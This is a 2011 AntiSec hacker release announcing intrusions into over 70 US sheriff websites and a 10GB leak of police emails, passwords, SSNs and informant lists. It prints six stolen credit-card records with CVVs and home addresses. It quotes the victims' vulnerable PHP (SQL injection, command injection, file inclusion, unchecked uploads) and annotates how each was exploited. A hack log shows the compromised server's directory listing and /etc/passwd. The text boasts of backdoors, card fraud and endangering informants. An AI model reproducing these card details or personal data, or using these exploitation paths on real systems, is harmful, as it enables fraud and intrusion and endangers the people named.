`..--.                           
                                          `:.#antisec#;:                        
                                         :antisec#anti;+.`                      
                                         :sec#antisec#a;/:                      
                                         ntisec#antisec#+a                      
                                         .ntisec#antisec;:                      
      `-`                                 +#antisec#anti:s/                     
 /.:+:/+.`..`                             `;+;ec#antisec::+                     
  :.;;+`-./-:`                            .+:#antisec#anti-++`                  
   `-` -:.``;                          `:.+.sec#antisec#a:  -;-                 
      `;   -:::.                   `-:+..;/:ntisec#an.-` :+``+-                
      `.+-  `./;.-            `-/++++:`.:-;tisec#anti++   -s;`/;//-             
        `-:`    .-:-        /::+-`      :/+;ec#ant;i;/..   ;s:.;:++.:           
          `/      .:`     `;:/`          .+..+///:::/:.    /:e;c#a:;/+-`        
       `:+..      ..   .:.;n+/++.         `---...````      `tisec#an:/:++-      
     -::-`    `.--`  -t:./;:ise./.`..                  .:+.;;c#antisec#:.;;     
    +-      .::.`  .;:.;antisec;.+;;+`                 .--:;..:.#;antisec;;/    
   `.`   `++-`   ./;;#antisec#a;:nt;i+.`         `         ;.    `-;sec#an:.`   
    .:.  .;-`    t+.isec#;a:;:;;nt;i+::.-``  ..:-`         ..      .;sec#a+:.   
     --::...;    ..;ntise+c;:-`  :;.-`:++.+//:-           `/        `;#ant;+:   
       ./:::.:   +::isec;#.      `an..                 .-/.;          -tisec/   
        `.+.::/``/+:#an:;.        .ti+`            `./;;:`;+           sec#.+`  
           /anti:;..sec#;          .an.         `-+.;+::.-..          ti;+:`:;` 
           /sec#antise/c           `#a-     ``-;..//+.+:.-.          -ntis:::/; 
           ec#antisec#:+            /a.    ////+//./..+++..`         `;nti./:`:`
           `sec#antisec#/           /;:+///...+:/.//;;;:././+-         `;ant+/;`
             isec#antis;.         `;ec#antisec#antisec#ant:.:;;.         :/:-`  
              isec#antis:        -;ec#antisec#antisec#anti;.- .;/               
              /sec#antise/       c#antisec#antisec#antis.:-`    .               
               /;;ec#an::.       tise.`                                        
                `+.c#..+`        ;+-.;`                                         
                                  `:/:          
                                  
      "Alright Dirty, yall boys ready? Bout to turn drive-bys revolutionary"
                                  
////////////////////////////////////////////////////////////////////////////////
## #FREETOPIARY #FREEMERCEDES #FREEBRADLEYMANNING #SHOOTINNGSHERIFFSSATURDAY ###
### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ##
////////////////////////////////////////////////////////////////////////////////

      _  _                   __  .__                      
   __| || |__ _____    _____/  |_|__| ______ ____   ____        #anonymous
   \   __   / \__  \  /    \   __\  |/  ___// __ \_/ ___\       #antisec
    |  ||  |   / __ \|   |  \  | |  |\___ \\  ___/\  \___       #lulzsec
   /_  ~~  _\ (____  /___|  /__| |__/____  >\___  >\___  >      #freetopiary
     |_||_|        \/     \/             \/     \/     \/       #SSS


////////////////////////////////////////////////////////////////////////////////
ANTISEC DELIVERS OVER 10GB OF PRIVATE POLICE EMAILS, TRAINING FILES, SNITCH INFO
AND PERSONAL INFO IN RETALIATION FOR ANONYMOUS ARRESTS #ShootingSheriffsSaturday
////////////////////////////////////////////////////////////////////////////////

"Missouri Sheriff's Association Executive Director Mick Covington tells KHQA
that the most the hackers got from their organization were email addresses. 
Contrary to AntiSec's announcement, there were no critical details like names,
social security numbers or other personal information details on their server
that was hacked."  (DOX AND EMAILS DROPPED)
(http://www.connecttristates.com/news/story.aspx?id=646614)

"Based upon past releases of information, the content of these releases are
sometimes manipulated and edited in an attempt of embarrass or discredit
government agencies and law enforcement. Also in their release, they threaten to
publish the names of inmates and confidential informants. Informant and other
sensitive data are not kept on the website, and we believe any information that
would be released would be false in an attempt to hinder future investigations
by law enforcement." - Sheriff John Montgomery   (MORE DOX DROPPED)
(http://www.baxterbulletin.com/article/20110801/NEWS01/110801001/BC-Sheriff-
Website-hacked?odyssey=tab|topnews|text|FRONTPAGE)

"President of the Missouri Sheriff's Association Steve Cox said he thinks the
hackers claim to have more information than they really do. Cox said the group
just wants glory and fame." (DOX AND SSN DROPPED)
(http://www.komu.com/news/update-group-hacks-missouri-sheriff-s-association/)

"Sheriff Joe Guy says, "We've not lost any information. There's no, we've not
been hacked. I think that's been a fear. No sensitive information is on that
website anyway." (DOX AND EMAILS DROPPED AGAIN)
http://wdef.com/news/mcminn_county_sheriffs_department_website/08/2011

////////////////////////////////////////////////////////////////////////////////

A week after we defaced and destroyed the websites of over 70 law enforcement
agencies, we are releasing a massive amount of confidential information that is
sure to embarass, discredit and incriminate police officers across the US. Over
10GB of information was leaked including hundreds of private email spools,
password information, address and social security numbers, credit card numbers,
snitch information, training files, and more. We hope that not only will
dropping this info demonstrate the inherently corrupt nature of law enforcement
using their own words, as well as result in possibly humiliation, firings, and
possible charges against several officers, but that it will also disrupt and
sabotage their ability to communicate and terrorize communities.

We are doing this in solidarity with Topiary and the Anonymous PayPal LOIC
defendants as well as all other political prisoners who are facing the gun of
the crooked court system. We stand in support of all those who struggle against
the injustices of the state and capitalism using whatever tactics are most
effective, even if that means breaking their laws in order to expose their
corruption. You may bust a few of us, but we greatly outnumber you, and you can
never stop us from continuing to destroy your systems and leak your data.

We have no sympathy for any of the officers or informants who may be endangered
by the release of their personal information. For too long they have been using
and abusing our personal information, spying on us, arresting us, beating us,
and thinking that they can get away with oppressing us in secrecy. Well it's
retribution time: we want them to experience just a taste of the kind of misery
and suffering they inflict upon us on an everyday basis. Let this serve as a
warning to would-be snitches and pigs that your leaders can no longer protect
you: give up and turn on your masters now before it's too late.

// A TALE OF TWO OWNINGS

It took less than 24 hours to root BJM's server and copy all their data to our
private servers. Soon after, their servers were taken down and a news article
came out suggesting they received advance FBI "credible threat" notice of a
"hacking plot". At this point it was too late for them because the stolen files
were gonna get leaked regardless. However we were surprised and delighted to see
that not only did they relaunch a few sites less than a week later, but that
their "bigger, faster server that offers more security" carried over our
backdoors from their original box. This time we were not going to hesitate to
pull the trigger: in less than an hour we rooted their new server and defaced
all 70+ domains while their root user was still logged in and active.

We lol'd as we watched the news reports come in, quoting various Sheriffs who
denied that they were ever hacked, that any personal information was stolen,
that they did not store snitch info on their servers. Many lulz have been had as
we taunted the sheriffs by responding to their denials by tweeting teasers
exposing their SSNs, passwords, addresses, and private emails. We also took the
liberty to backdoor their online store and capture a few credit card numbers,
which were used to make involuntary donations to the ACLU, the EFF, the Bradley
Manning Support Network, and more. Despite active FBI investigations and their
additional security measures, they could not stop us from owning their servers,
stealing their identities, and dropping all their data. Two weeks later only a
few of the sites are up with limited functionality as we scared them into
removing any dynamic PHP scripts, forcing them to use static HTML content.

A recent DHS bulletin has called us "script kiddies" that lack "any capability
to inflict damage to critical infrastructure" yet we continue to get in and out
of any system we please, destroying and dropping dox on the mightiest of
government systems that are supposed to be protecting their sick nightmare of
"law and order". GIVE UP. You are losing the cyberwar, and the attacks against
the governments, militaries, and corporations of the world will continue to
escalate. 

Hackers, join us to make 2011 the year of leaks and revolutions.

////////////////////////////////////////////////////////////////////////////////

   [*] ORIGINAL DEFACEMENT: http://zone-h.org/mirror/id/14515221)
   [*] BROWSE THE LEAK:     http://vv7pabmmyr2vnflf.onion/          (ON TOR)
                            http://vv7pabmmyr2vnflf.tor2web.com/    (NOT TOR)
                          
   [*] DONATE BITCOINS:     18NHixaoQekQJ3y52aBGJJwgBWX9X3myYR

 The booty contains: 
 
   [*] Over 300 mail accounts from 56 law enforcement domains
   [*] Missouri Sheriff account dump (mosheriffs.com)
       7000+ usernames, passwords, home addresses, phones and SSNs
   [*] Online Police Training Academy files
       PDFs, videos, HTML files
   [*] "Report a Crime" snitch list compilation (60+ entries)
   [*] Plesk plaintext server passwords (ftp/ssh, email, cpanel, protected dirs)
   
////////////////////////////////////////////////////////////////////////////////

Over 70 US law enforcement institutions were attacked including:

20jdpa.com, adamscosheriff.org, admin.mostwantedwebsites.net,
alabamasheriffs.com, arkansassheriffsassociation.com,
bakercountysheriffoffice.org, barrycountysheriff.com, baxtercountysheriff.com,
baxtercountysherifffoundation.org, boonecountyar.com, boonesheriff.com,
cameronso.org, capecountysheriff.org, cherokeecountyalsheriff.com,
cityofgassville.org, cityofwynne.com, cleburnecountysheriff.com,
coahomacountysheriff.com, crosscountyar.org, crosscountysheriff.org,
drewcountysheriff.com, faoret.com, floydcountysheriff.org, fultoncountyso.org,
georgecountymssheriff.com, grantcountyar.com, grantcountysheriff-collector.com,
hodgemansheriff.us, hotspringcountysheriff.com, howardcountysheriffar.com,
izardcountyar.org, izardcountysheriff.org, izardhometownhealth.com,
jacksonsheriff.org, jeffersoncountykssheriff.com, jeffersoncountyms.gov,
jocomosheriff.org, johnsoncosheriff.com, jonesso.com, kansassheriffs.org,
kempercountysheriff.com, knoxcountysheriffil.com, lawrencecosheriff.com,
lcsdmo.com, marioncountysheriffar.com, marionsoal.com, mcminncountysheriff.com,
meriwethercountysheriff.org, monroecountysheriffar.com, mosheriffs.com,
mostwantedgovernmentwebsites.com, mostwantedwebsites.net,
newtoncountysheriff.org, perrycountysheriffar.org, plymouthcountysheriff.com,
poalac.org, polkcountymosheriff.org, prairiecountysheriff.org,
prattcountysheriff.com, prentisscountymssheriff.com, randolphcountysheriff.org,
rcpi-ca.org, scsosheriff.org, sebastiancountysheriff.com, sgcso.com,
sharpcountysheriff.com, sheriffcomanche.com, stfranciscountyar.org,
stfranciscountysheriff.org, stonecountymosheriff.com, stonecountysheriff.com,
talladegasheriff.org, tatecountysheriff.com, tishomingocountysheriff.com,
tunicamssheriff.com, vbcso.com, woodsonsheriff.com

////////////////////////////////////////////////////////////////////////////////

Stolen Credit Card information from mosheriffs.com online store:

Jeremy,Searcy,[email protected],417-887-3626,MasterCard,5191000109460087,2,2014,
102,3526 W Nichols,,Springfield,MO,65803

Robert,Zoellr,[email protected],954-529-0840,Visa,4388540016715210,11,2012,501,401
E Las Olas Blvd ,Suite 130-143,FT Lauderdale ,FL,33301,571 Elbow Cay
Drive,Camden,Osage Beach,MO,65065

Jeffrey,Thomas,[email protected],573-529-1836,MasterCard,5109820390825461,2,2013,
768,417 North Locust Street,,Richland,MO,65556

nathan,vails,[email protected],573-225-3010,Visa,4607174190144503,7,2013
,237,35984 Hwy 25,,malden,MO,63863

David,Yingling,[email protected],573-335-5286,MasterCard,5200011252796077,
5,2014,739,617 Peironnet Drive,,Cape Girardeau,MO,63701

Mark,Bell,[email protected],417 830
3410,MasterCard,5441840150712888,5,2012,094,8117 West Farm Road
168,,Republic,MO,65738

////////////////////////////////////////////////////////////////////////////////
For the Blackhat & DEFCON conferences, we figure yall should hear it straight
from some real black hats. It's time to bust out the old school hacklog and mock
how vulnerable and insecure our enemies in blue really are.
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// CONNECT.PHP
// SAFE_QUERY()... WAY TO MAKE SQL INJECTIONS WORSE BY NOT VALIDATING INPUT ...
// BUT INSTEAD PASSING RAW INPUT TO SHELL_EXEC() ALLOWING COMMAND EXECUTION !!!
////////////////////////////////////////////////////////////////////////////////

<?
$i = 0;
$path = '';
while(!is_file($path."admin/config/classes/dymin_main.php")){
	$path .= '../';
	$i++;
	if($i>10){
		$path = '';
		break;
	}
}
include($path."admin/config/dymin_config.php");

function safe_query($query){
	if(strpos(getcwd(),'admin')){
		shell_exec("echo '".date("Y-m-d H:i:s")."|".$query."' >>
/var/sql_logs/".str_replace("www.","",$_SERVER['HTTP_HOST'].""));
	}
     $database = DATABASE;
     $username = DATABASE_USER;
     $password = DATABASE_PASS;
     $destination = DATABASE_HOST;
     mysql_connect($destination, $username, $password) or die("<br>Unable to
connect to database: <br>". mysql_error());
     mysql_select_db($database) or die ("<br> Unable to select
database[$database]: <br>" . mysql_error());
     $result = mysql_query($query);
     return $result;
}
?>


////////////////////////////////////////////////////////////////////////////////
//  VERIFY_LOGIN.PHP
//  ITS BEEN A HOT MINUTE SINCE I'VE SEEN ' OR 'a'='a SQL INJECTIONS WORK
//  BUT BJM NEVER FAILS TO DELIVER THE MOST OBVIOUS OF VULNERABILITIES
////////////////////////////////////////////////////////////////////////////////

<?php
session_start();
$username = $_GET['username'];
$password = $_GET['password'];

include "../config/connect.php";
sleep(2);
$query = "select * from dymin_user where username = '$username' and password =
'$password'";
$result = safe_query($query);

$num = mysql_num_rows($result);
if($num == ''){
echo "<img src=\"images/login_deny.gif\">";
}else{
	$id = mysql_result($result,0,'id');
	$level = mysql_result($result,0,'level');
	$_SESSION['user_id'] = $id;
	$_SESSION['username'] = $username;
	$_SESSION['password'] = $password;
	$_SESSION['level'] = $level;
}
?>


////////////////////////////////////////////////////////////////////////////////
//  RENAME_FILE.PHP
//  PASSING RAW USER-SUPPLIED INPUT TO RENAME AND INCLUDE FUNCTIONS ...
//  TWO VULNERABILITIES FOR THE PRICE OF ONE!!
////////////////////////////////////////////////////////////////////////////////

<?
error_reporting(E_ALL);
ini_set('display_errors', '1');
include "../../admin/config/connect.php";

$filename = $_POST['name'];
$type = $_POST['type'];
$uploads_dir_path_with_date = '../../uploads/'.date("Ymd").'/';
$uploads_dir_path = '../../uploads/'.date("Ymd").'/';
$uploads_dir_path_no_date = '../../uploads/';
if(!is_file($uploads_dir_path_no_date.'log.txt')){
	$fh = fopen("$uploads_dir_path_no_date"."log.txt",'w');
	shell_exec("chmod 777 $uploads_dir_path_with_date"."log.txt");
	fclose($fh);
}

if(!is_dir($uploads_dir_path_with_date)){
	mkdir($uploads_dir_path_with_date,'0777');
	shell_exec("chmod 777 $uploads_dir_path_with_date");
}
$id = $_GET['id'];

$new_name = md5(microtime().$filename.mt_rand(10000, 32000)); 
rename("$uploads_dir_path_no_date$filename","$uploads_dir_path_with_date$
new_name$type");

//write file upload log
$fh = fopen("$uploads_dir_path_no_date"."log.txt",'a');
$log_info = 'DATE: '.date("m-d-Y His")."\t";
$log_info .= 'HTTP_HOST: '.$_SERVER['HTTP_HOST']."\t";
$log_info .= 'REMOTE_ADDR: '.$_SERVER['REMOTE_ADDR']."\t";
$log_info .= 'SCRIPT_FILENAME: '.$_SERVER['SCRIPT_FILENAME']."\t";
$log_info .= 'OLD_FILENAME: '.$filename."\t";
$log_info .= 'NEW_FILENAME: '.$new_name."\t\n";
fwrite($fh,$log_info);
fclose($fh);
unset($fh,$log_info);

$file_to_include = $_GET['filename'];

include "$file_to_include";
?>

////////////////////////////////////////////////////////////////////////////////
//  UPLOADIFY.PHP
//  WAY TO GO, COMMENTING OUT THE FILE EXTENSION VALIDATING CODE
////////////////////////////////////////////////////////////////////////////////

<?php
if (!empty($_FILES)) {
	$tempFile = $_FILES['Filedata']['tmp_name'];
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
	$targetFile =  str_replace('//','/',$targetPath) .
$_FILES['Filedata']['name'];
	
	// $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);
	// $fileTypes  = str_replace(';','|',$fileTypes);
	// $typesArray = split('\|',$fileTypes);
	// $fileParts  = pathinfo($_FILES['Filedata']['name']);
	
	// if (in_array($fileParts['extension'],$typesArray)) {
		// Uncomment the following line if you want to make the directory if it
doesn't exist
		// mkdir(str_replace('//','/',$targetPath), 0755, true);
		
		move_uploaded_file($tempFile,$targetFile);
		echo "1";
	// } else {
	// 	echo 'Invalid file type.';
	// }
}
?>

////////////////////////////////////////////////////////////////////////////////
// SHOW_IMAGE_DOWNLOAD.PHP
// HEY LETS TAKE RAW USER INPUT AND PASS IT TO READFILE() ...
// AT LEAST THEY HAD THE COURTESY OF VERIFYING IS_FILE() FOR US!!!
////////////////////////////////////////////////////////////////////////////////

<? include "config/header.php"; ?>
<?php
$filename = $_GET['filename'];
if(is_file($filename)) {
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=".basename($filename).";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit();
}
?>

////////////////////////////////////////////////////////////////////////////////
// UPLOAD_SCANNER.SH
// UH OH... THEY ARE CLOSING IN ON OUR C99 SHELL!!!  PLEASE...
////////////////////////////////////////////////////////////////////////////////

#!/bin/bash
#
# Scan for PHP in upload folders
#
MAILTO="-c [email protected] -c [email protected] -c [email protected] root"
EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
watermark_recalled_photo.php"
lineify (){
for i in $*
do
  echo $i
done
}
# testing
#EXCLUDES="numnum"
#MAILTO="[email protected]"
#
UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
	grep -v $EXCLUDES)
if [ "${UHOH}xx" != "xx" ]
then
	lineify $UHOH |  mail -s "Go Daddy - Upload Scanner" $MAILTO


////////////////////////////////////////////////////////////////////////////////
// ENOUGH TALK... TIME TO RIDE ON THESE PIG MOTHAFUCKAS !!! BRING ON THE HACKLOG
////////////////////////////////////////////////////////////////////////////////
$ ls -al /var/www/vhosts/
total 332
drwxr-xr-x 83 root root 4096 Jul 20 11:33 .
drwxr-xr-x  9 root root 4096 Aug 30  2010 ..
drwxr-xr-x  3 root root 4096 Dec 21  2009 .skel
drwxr-xr-x 13 root root 4096 Apr  7  2010 20jdpa.com
drwxr-xr-x 14 root root 4096 Jun 22 10:59 adamscosheriff.org
drwxr-xr-x 13 root root 4096 Nov 30  2010 admin.mostwantedwebsites.net
drwxr-xr-x 13 root root 4096 Nov 30  2010 alabamasheriffs.com
drwxr-xr-x 14 root root 4096 May  3 09:44 arkansassheriffsassociation.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 bakercountysheriffoffice.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 barrycountysheriff.com
drwxr-xr-x 14 root root 4096 Apr  7  2010 baxtercountysheriff.com
drwxr-xr-x 14 root root 4096 Jun 10 09:59 baxtercountysherifffoundation.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 boonecountyar.com
drwxr-xr-x 14 root root 4096 May 10  2010 boonesheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 cameronso.org
drwxr-xr-x 13 root root 4096 Nov 30  2010 capecountysheriff.org
drwxr-xr-x 14 root root 4096 Apr  7  2010 cherokeecountyalsheriff.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 cherokeecountykssheriff.com
drwxr-xr-x  9 root root 4096 Dec 21  2009 chroot
drwxr-xr-x 14 root root 4096 May 19 11:36 cityofgassville.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 cityofwynne.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 cleburnecountysheriff.com
drwxr-xr-x 13 root root 4096 May 26  2010 coahomacountysheriff.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 crosscountyar.org
drwxr-xr-x 14 root root 4096 Apr  7  2010 crosscountysheriff.org
drwxr-xr-x  5 root root 4096 Oct 16  2009 default
drwxr-xr-x 13 root root 4096 Apr  7  2010 drewcountysheriff.com
drwxr-xr-x 13 root root 4096 May 26  2010 faoret.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 floydcountysheriff.org
drwxr-xr-x 14 root root 4096 Mar 24 10:11 fultoncountyso.org
drwxr-xr-x 13 root root 4096 Nov 30  2010 georgecountymssheriff.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 grantcountyar.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 grantcountysheriff-collector.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 hodgemansheriff.us
drwxr-xr-x 13 root root 4096 Apr  7  2010 hotspringcountysheriff.com
drwxr-xr-x 14 root root 4096 Oct 19  2010 howardcountysheriffar.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 izardcountyar.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 izardcountysheriff.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 izardhometownhealth.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 jacksonsheriff.org
drwxr-xr-x 14 root root 4096 Jun 30  2010 jeffersoncountykssheriff.com
drwxr-xr-x 14 root root 4096 Feb  4 16:03 jeffersoncountyms.gov
drwxr-xr-x 14 root root 4096 Apr  7  2010 jocomosheriff.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 johnsoncosheriff.com
drwxr-xr-x 14 root root 4096 Jun 11  2010 jonesso.com
drwxr-xr-x 14 root root 4096 Jun 24 16:36 kansassheriffs.org
drwxr-xr-x 13 root root 4096 May 26  2010 kempercountysheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 knoxcountysheriffil.com
drwxr-xr-x 14 root root 4096 Apr  7  2010 lawrencecosheriff.com
drwxr-xr-x 15 root root 4096 Jun  8 08:55 lcsdmo.com
drwxr-xr-x 14 root root 4096 Jan 26 09:40 marioncountysheriffar.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 marionsoal.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 mcminncountysheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 meriwethercountysheriff.org
drwxr-xr-x 13 root root 4096 May 26  2010 monroecountysheriffar.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 mosheriffs.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 mostwantedgovernmentwebsites.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 mostwantedwebsites.net
drwxr-xr-x 13 root root 4096 Apr  7  2010 newtoncountysheriff.org
drwxr-xr-x 13 root root 4096 Nov 30  2010 perrycountysheriffar.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 plymouthcountysheriff.com
drwxr-xr-x 14 root root 4096 Apr 21 08:36 poalac.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 polkcountymosheriff.org
drwxr-xr-x 14 root root 4096 Dec  9  2010 prairiecountysheriff.org
drwxr-xr-x 15 root root 4096 Jun  1  2010 prattcountysheriff.com
drwxr-xr-x 14 root root 4096 Jun 10 13:49 prentisscountymssheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 randolphcountysheriff.org
drwxr-xr-x 14 root root 4096 May  6 09:25 rcpi-ca.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 scsosheriff.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 sebastiancountysheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 sgcso.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 sharpcountysheriff.com
drwxr-xr-x 14 root root 4096 Mar 23 11:41 sheriffcomanche.com
drwxr-xr-x 14 root root 4096 Jun  6 13:54 stfranciscountyar.org
drwxr-xr-x 14 root root 4096 Nov 30  2010 stfranciscountysheriff.org
drwxr-xr-x 14 root root 4096 Nov 30  2010 stonecountymosheriff.com
drwxr-xr-x 14 root root 4096 Oct 27  2010 stonecountysheriff.com
drwxr-xr-x 14 root root 4096 Jun  9 11:51 talladegasheriff.org
drwxr-xr-x 13 root root 4096 Apr  7  2010 tatecountysheriff.com
drwxr-xr-x 13 root root 4096 Nov 30  2010 tishomingocountysheriff.com
drwxr-xr-x 13 root root 4096 Apr  7  2010 tunicamssheriff.com
drwxr-xr-x 14 root root 4096 Apr  7  2010 vbcso.com
drwxr-xr-x 13 root root 4096 May 26  2010 woodsonsheriff.com

// DAMN THATS A LOT OF DOMAINS...  TOO BAD ZONE-H MASS DEFACEMENT NOTIFICATION
// FORM ONLY ALLOWS YOU TO SUBMIT 10 PER REQUEST... GONNA TAKE FOREVER

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
webdept:x:500:500::/home/webdept:/bin/bash
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
sw-cp-server:x:501:501::/:/bin/true
psaadm:x:502:502:Plesk user:/usr/local/psa/admin:/sbin/nologin
popuser:x:110:31:POP3 service user:/var/qmail/popuser:/sbin/nologin
mhandlers-user:x:30:31:mail handlers user:/:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
psaftp:x:503:504:anonftp psa user:/:/sbin/nologin
alias:x:2021:2020:Qmail User:/var/qmail/alias:/sbin/nologin
qmaild:x:2020:2020:Qmail User:/var/qmail/:/sbin/nologin
qmaill:x:2022:2020:Qmail User:/var/qmail/:/sbin/nologin
qmailp:x:2023:2020:Qmail User:/var/qmail/:/sbin/nologin
qmailq:x:2520:2520:Qmail User:/var/qmail/:/sbin/nologin
qmailr:x:2521:2520:Qmail User:/var/qmail/:/sbin/nologin
qmails:x:2522:2520:Qmail User:/var/qmail/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
drweb:x:101:2523:DrWeb system account:/var/drweb:/bin/false
jdpa:x:10001:2522::/var/www/vhosts/20jdpa.com:/bin/false
barms:x:10002:2522::/var/www/vhosts/barrycountysheriff.com:/bin/false
bcsd:x:10003:2522::/var/www/vhosts/baxtercountysheriff.com:/bin/bash
bjm:x:10004:2522::/var/www/vhosts/mostwantedwebsites.net:/bin/false
demo:x:10005:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/demo:/bin/
false
dymin:x:10006:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/dymin:/bin
/false
dcsd:x:10007:2522::/var/www/vhosts/drewcountysheriff.com:/bin/false
bocg:x:10008:2522::/var/www/vhosts/boonecountyar.com:/bin/false
crcsd:x:10009:2522::/var/www/vhosts/crosscountysheriff.org:/bin/false
bocs:x:10010:2522::/var/www/vhosts/boonesheriff.com:/bin/false
izhth:x:10011:2522::/var/www/vhosts/izardhometownhealth.com:/bin/false
mcmtn:x:10012:2522::/var/www/vhosts/mcminncountysheriff.com:/bin/false
ccsal:x:10013:2522::/var/www/vhosts/cherokeecountyalsheriff.com:/bin/false
tunms:x:10014:2522::/var/www/vhosts/tunicamssheriff.com:/bin/false
ccsd:x:10015:2522::/var/www/vhosts/cleburnecountysheriff.com:/bin/false
ciwy:x:10016:2522::/var/www/vhosts/cityofwynne.com:/bin/false
ncsd:x:10017:2522::/var/www/vhosts/newtoncountysheriff.org:/bin/false
icsd:x:10019:2522::/var/www/vhosts/izardcountysheriff.org:/bin/false
shsd:x:10020:2522::/var/www/vhosts/sharpcountysheriff.com:/bin/false
polms:x:10021:2522::/var/www/vhosts/polkcountymosheriff.org:/bin/false
grcg:x:10023:2522::/var/www/vhosts/grantcountyar.com:/bin/false
lawmo:x:10024:2522::/var/www/vhosts/lawrencecosheriff.com:/bin/false
johms:x:10025:2522::/var/www/vhosts/jocomosheriff.org:/bin/false
sacsd:x:10026:2522::/var/www/vhosts/scsosheriff.org:/bin/false
jcsd:x:10027:2522::/var/www/vhosts/jacksonsheriff.org:/bin/false
gcsd:x:10028:2522::/var/www/vhosts/grantcountysheriff-collector.com:/bin/false
izcg:x:10029:2522::/var/www/vhosts/izardcountyar.org:/bin/false
jocsd:x:10030:2522::/var/www/vhosts/johnsoncosheriff.com:/bin/false
scsd:x:10031:2522::/var/www/vhosts/sebastiancountysheriff.com:/bin/false
bjm2:x:10032:2522::/var/www/vhosts/mostwantedgovernmentwebsites.com:/bin/false
test:x:10033:10033::/home/test:/bin/bash
bcsd_sync:x:10034:10034::/var/www/vhosts/baxtercountysheriff.com/home:/bin/bash
ccsal_synce:x:10035:10035::/home/ccsal_synce:/bin/bash
ccsal_sync:x:10036:10036::/var/www/vhosts/cherokeecountyalsheriff.com/home:/bin/
bash
kluser:x:10037:10037:Kaspersky AntiVirus scanner user:/var/db/kav:/sbin/nologin
tigeraccessftp:x:10038:10038::/var/www/vhosts/crosscountysheriff.org/home:/bin/
bash
vbcsd:x:10039:2522::/var/www/vhosts/vbcso.com:/bin/false
jonms2:x:10040:2522::/var/www/vhosts/jonesso.com:/bin/false
ccsoks:x:10041:2522::/var/www/vhosts/cherokeecountykssheriff.com:/bin/false
crcg:x:10042:2522::/var/www/vhosts/crosscountyar.org:/bin/false
